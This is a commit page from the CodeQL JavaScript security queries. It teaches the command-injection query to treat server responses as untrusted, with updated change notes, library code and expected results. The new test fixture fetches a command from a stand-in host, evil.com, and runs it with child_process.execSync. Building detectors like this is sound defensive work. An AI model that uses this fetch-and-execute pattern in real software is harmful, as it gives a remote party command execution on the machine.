Skip to content

Commit f7bfc47

Browse files
author
Esben Sparre Andreasen
committed
JS: treat server responses as untrusted for command injections
1 parent 3e42b07 commit f7bfc47

File tree

5 files changed

+33
-6
lines changed

5 files changed

+33
-6
lines changed

change-notes/1.23/analysis-javascript.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,9 @@
2121
|--------------------------------|------------------------------|---------------------------------------------------------------------------|
2222
| Client-side cross-site scripting (`js/xss`) | More results | More potential vulnerabilities involving functions that manipulate DOM attributes are now recognized. |
2323
| Code injection (`js/code-injection`) | More results | More potential vulnerabilities involving functions that manipulate DOM event handler attributes are now recognized. |
24+
| Incorrect suffix check (`js/incorrect-suffix-check`) | Fewer false-positive results | The query recognizes valid checks in more cases.
2425
| Prototype pollution (`js/prototype-pollution`) | More results | The query now highlights vulnerable uses of jQuery and Angular, and the results are shown on LGTM by default. |
25-
| Incorrect suffix check (`js/incorrect-suffix-check`) | Fewer false-positive results | The query recognizes valid checks in more cases. |
26+
| Uncontrolled command line (`js/command-line-injection`) | More results | This query now treats responses from servers as untrusted. |
2627

2728
## Changes to QL libraries
2829

javascript/ql/src/Security/CWE-078/CommandInjection.ql

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -16,11 +16,11 @@ import javascript
1616
import semmle.javascript.security.dataflow.CommandInjection::CommandInjection
1717
import DataFlow::PathGraph
1818

19-
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink, DataFlow::Node highlight
19+
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink, DataFlow::Node highlight, Source sourceNode
2020
where
2121
cfg.hasFlowPath(source, sink) and
2222
if cfg.isSinkWithHighlight(sink.getNode(), _)
2323
then cfg.isSinkWithHighlight(sink.getNode(), highlight)
24-
else highlight = sink.getNode()
25-
select highlight, source, sink, "This command depends on $@.", source.getNode(),
26-
"a user-provided value"
24+
else highlight = sink.getNode() and
25+
sourceNode = source.getNode()
26+
select highlight, source, sink, "This command depends on $@.", sourceNode, sourceNode.getSourceType()

javascript/ql/src/semmle/javascript/security/dataflow/CommandInjectionCustomizations.qll

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,10 @@ module CommandInjection {
1111
/**
1212
* A data flow source for command-injection vulnerabilities.
1313
*/
14-
abstract class Source extends DataFlow::Node { }
14+
abstract class Source extends DataFlow::Node {
15+
/** Gets a string that describes the type of this remote flow source. */
16+
abstract string getSourceType();
17+
}
1518

1619
/**
1720
* A data flow sink for command-injection vulnerabilities.
@@ -26,6 +29,17 @@ module CommandInjection {
2629
/** A source of remote user input, considered as a flow source for command injection. */
2730
class RemoteFlowSourceAsSource extends Source {
2831
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
32+
33+
override string getSourceType() { result = "a user-provided value" }
34+
}
35+
36+
/**
37+
* A response from a server, considered as a flow source for command injection.
38+
*/
39+
class ServerResponse extends Source {
40+
ServerResponse() { this = any(ClientRequest r).getAResponseDataNode() }
41+
42+
override string getSourceType() { result = "a server-provided value" }
2943
}
3044

3145
/**

javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -67,6 +67,8 @@ nodes
6767
| other.js:17:27:17:29 | cmd |
6868
| other.js:18:22:18:24 | cmd |
6969
| other.js:19:36:19:38 | cmd |
70+
| third-party-command-injection.js:5:20:5:26 | command |
71+
| third-party-command-injection.js:6:21:6:27 | command |
7072
edges
7173
| child_process-test.js:6:9:6:49 | cmd | child_process-test.js:17:13:17:15 | cmd |
7274
| child_process-test.js:6:9:6:49 | cmd | child_process-test.js:18:17:18:19 | cmd |
@@ -134,6 +136,7 @@ edges
134136
| other.js:5:15:5:44 | url.par ... ).query | other.js:5:15:5:49 | url.par ... ry.path |
135137
| other.js:5:15:5:49 | url.par ... ry.path | other.js:5:9:5:49 | cmd |
136138
| other.js:5:25:5:31 | req.url | other.js:5:15:5:38 | url.par ... , true) |
139+
| third-party-command-injection.js:5:20:5:26 | command | third-party-command-injection.js:6:21:6:27 | command |
137140
#select
138141
| child_process-test.js:17:13:17:15 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:17:13:17:15 | cmd | This command depends on $@. | child_process-test.js:6:25:6:31 | req.url | a user-provided value |
139142
| child_process-test.js:18:17:18:19 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:18:17:18:19 | cmd | This command depends on $@. | child_process-test.js:6:25:6:31 | req.url | a user-provided value |
@@ -160,3 +163,4 @@ edges
160163
| other.js:17:27:17:29 | cmd | other.js:5:25:5:31 | req.url | other.js:17:27:17:29 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value |
161164
| other.js:18:22:18:24 | cmd | other.js:5:25:5:31 | req.url | other.js:18:22:18:24 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value |
162165
| other.js:19:36:19:38 | cmd | other.js:5:25:5:31 | req.url | other.js:19:36:19:38 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value |
166+
| third-party-command-injection.js:6:21:6:27 | command | third-party-command-injection.js:5:20:5:26 | command | third-party-command-injection.js:6:21:6:27 | command | This command depends on $@. | third-party-command-injection.js:5:20:5:26 | command | a server-provided value |
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
let https = require("https"),
2+
cp = require("child_process");
3+
4+
https.get("https://evil.com/getCommand", res =>
5+
res.on("data", command => {
6+
cp.execSync(command);
7+
})
8+
);

0 commit comments

Comments
 (0)